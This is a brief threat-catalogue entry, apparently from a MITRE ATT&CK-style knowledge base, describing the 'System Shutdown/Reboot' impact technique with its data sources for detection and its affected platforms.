Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre